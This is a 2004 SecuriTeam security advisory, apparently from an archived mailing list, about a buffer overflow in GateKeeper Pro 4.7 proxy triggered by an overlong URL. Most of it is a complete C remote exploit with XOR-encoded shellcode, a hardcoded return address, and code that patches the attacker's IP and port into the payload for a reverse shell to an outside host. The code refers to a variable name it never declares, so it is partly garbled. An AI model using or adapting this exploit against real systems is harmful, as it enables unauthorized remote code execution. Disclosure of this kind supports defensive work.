

[EXPL] GateKeeper Pro Buffer Overflow (Long URL)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0061.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/23/04

To: list@securiteam.com

Date: 23 Feb 2004 19:25:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GateKeeper Pro Buffer Overflow (Long URL)

SUMMARY

<<http://www.proxy-pro.com/>> Proxy-Pro GateKeeper" is a proxy server firewall that allows you to share, secure and accelerate your Internet connection." Provided is a proof of concept exploit code to test whether the version of GateKeeper is vulnerable.

DETAILS

Vulnerable Systems:

- * GateKeeper Pro version 4.7

Sending GET [http://host.com/AAAAAAAAAAAA...\(~4100bytes\)](http://host.com/AAAAAAAAAAAA...(~4100bytes)) to the server will cause an access violation, which can then be utilized to cause the server to execute arbitrary code.

Exploit:

```
/*  
/* [Crpt] GateKeeper Pro 4.7 remote exploit by kralor [Crpt] */  
/*  
/* bug discovered & coded by: kralor [from coromputer] */
```

Securiteam: [EXPL] GateKeeper Pro Buffer Overflow (Long URL)

```
/* tested on: win2k pro and winXP */
/* it uses a static offset to hijack execution to the shellcode.. */
/* so it is 100% universal. Nothing more to say.. */
/*****
/*informations: www.coromputer.net,irc undernet #coromputer */
*****/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>

#pragma comment (lib,"ws2_32")

#define PORT 3128
#define ADMIN_PORT 2000
#define VERSION "4.7.0"
#define RET_POS 4079
#define SIZE 4105
#define RET_ADDR 0x03b1e121
#define REQ "GET http://www.microsoft.com/"
#define REQ2 "\r\nHost: www.microsoft.com\r\n\r\n"
// sequence of 4 opcodes
#define HOP 0xd4 // host opcode
#define POP 0xd7 // port opcode

int cnx(char *host, int port)
{
    int sock;
    struct sockaddr_in yeah;
    struct hostent *she;

    sock=socket(AF_INET,SOCK_STREAM,0);
    if(!sock) {
        printf("error: unable to create socket\r\n");
        return 0;
    }
    yeah.sin_family=AF_INET;
    yeah.sin_addr.s_addr=inet_addr(host);
    yeah.sin_port=htons((u_short)port);

    if((she=gethostbyname(host))!=NULL) {
        memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
    } else {
        if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
            printf("error: cannot resolve host\r\n");
            return 0;
        }
    }
    printf("[+] Connecting to %-30s ...",host);
    if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
```

Securiteam: [EXPL] GateKeeper Pro Buffer Overflow (Long URL)

```
    printf("error: connection refused\r\n");
    return 0;
}
printf("Done\r\n");
return sock;
}

void banner(void)
{
    printf("\r\n\t [Crpt] GateKeeper Pro 4.7 remote sploit by kralor
[Crpt]\r\n");
    printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
    return;
}

void syntax(char *prog)
{
    printf("syntax: %s < host> < your_ip> < your_port>\r\n",prog);
    exit(0);
}

int main(int argc, char *argv[])
{
    WSADATA wsaData;
    int sock;
    char buffer[1024],useme[SIZE],*ptr;
    unsigned long host,port;
    unsigned int i;
    char shellc0de[] = /* sizeof(shellc0de+xorer) == 332 bytes */
/* classic xorer */
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
"\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
/* shellc0de */
"\x1e\x61\xc0\xc3\xf1\x34\xa5"
"\x95\x95\x95\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e"
"\x50\xcb\xc8\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95"
"\x95\xfd\xa6\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d"
"\xc2\xfd\x4c\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4"
"\xc4\xd4\xc4\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5"
"\x7d\xec\x95\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\x1e"
"\x59\xff\x85\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3"
"\xa5\x6a\xa3\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b"
"\x16\x79\xc1\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68"
"\x53\xd1\xb1\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1"
"\x1c\xd1\xb1\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85"
"\xc1\xc5\xc4\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b"
"\x6a\xa3\xfd\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0"
"\xc3\xc2\x1e\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e"
"\xdf\x8d\x1e\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6"
"\x6a\x69\xa6\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67"
"\xae\xe9\xb1\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e"
```

Securiteam: [EXPL] GateKeeper Pro Buffer Overflow (Long URL)

```
"\xcf\x89\x96\x48\xe1\xe9\x96\x50\x7e\x97\xa6\x55\xe1\x40\xca"  
"\xcb\xc8\xce\x57\x91\x95";
```

```
banner();
```

```
if(argc!=4)  
    syntax(argv[0]);  
host=inet_addr(argv[2])^0x95959595;  
port=atoi(argv[3]);  
if(port<=0||port>65535) {  
    printf("error: < port> must be between 1 and 65535\r\n");  
    return -1;  
}  
port=htons((unsigned short)port);  
port=port<<16;  
port+=0x0002;  
port=port^0x95959595;  
  
for(i=0;i<sizeof(shellcode);i++) {  
    if((unsigned char)shellcode[i]==HOP&&(unsigned  
char)shellcode[i+1]==HOP)  
        if((unsigned char)shellcode[i+2]==HOP&&(unsigned  
char)shellcode[i+3]==HOP) {  
            memcpy(&shellcode[i],&host,4);  
            host=0;  
        }  
    if((unsigned char)shellcode[i]==POP&&(unsigned  
char)shellcode[i+1]==POP)  
        if((unsigned char)shellcode[i+2]==POP&&(unsigned  
char)shellcode[i+3]==POP) {  
            memcpy(&shellcode[i],&port,4);  
            port=0;  
        }  
}  
if(host||port) {  
    printf("[i] error: unable to find ip/port sequence in  
shellcode\r\n");  
    return -1;  
}  
  
if(WSAStartup(0x0101,&wsaData)!=0) {  
    printf("[i] error: unable to load winsock\r\n");  
    return -1;  
}  
printf("[ - ] Getting version through administration  
interface\r\n");  
sock=cnx(argv[1],ADMIN_PORT);  
if(!sock)  
    printf("[i] warning: couldn't connect to admin int to get version,  
trying anyway\r\n");  
else {
```

Securiteam: [EXPL] GateKeeper Pro Buffer Overflow (Long URL)

```
send(sock,"I'm a script kiddie\r\n",21,0);
memset(buffer,0,sizeof(buffer));
recv(sock,buffer,sizeof(buffer),0);
memset(buffer,0,sizeof(buffer));
recv(sock,buffer,sizeof(buffer),0);
ptr=strstr(buffer,"GateKeeper@");
if(!ptr)
    printf("[i] waring: version not found, trying anyway\r\n");
else {
    ptr+=11;
    if(strncmp(ptr,VERSION,strlen(VERSION))) {
        printf("[i] error: wrong version\r\n");
        return -1;
    }
    printf("[i] %-44s ...OK\r\n","version");
}
printf("[i] Starting to exploit\r\n");
sock=cnx(argv[1],PORT);
if(!sock)
    return -1;
printf("[i] Preparing magic %-28s ...","packet");
memset(useme,0x90,SIZE);
memcpy(&useme[RET_POS-0x8ac],shellc0de,sizeof(shellc0de));
*(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to
jmp ebx in exe memory
memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5); // jmp $ -
0x92c
printf("Done\r\n");
printf("[i] Sending magic packet ...");
send(sock,REQ,strlen(REQ),0);
send(sock,useme,sizeof(useme),0);
send(sock,REQ2,strlen(REQ2),0);
printf("Done\r\n");
closesocket(sock);
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kralor@coromputer.net>> Iv?n Rodriguez Almui?a.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] GateKeeper Pro Buffer Overflow (Long URL)

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.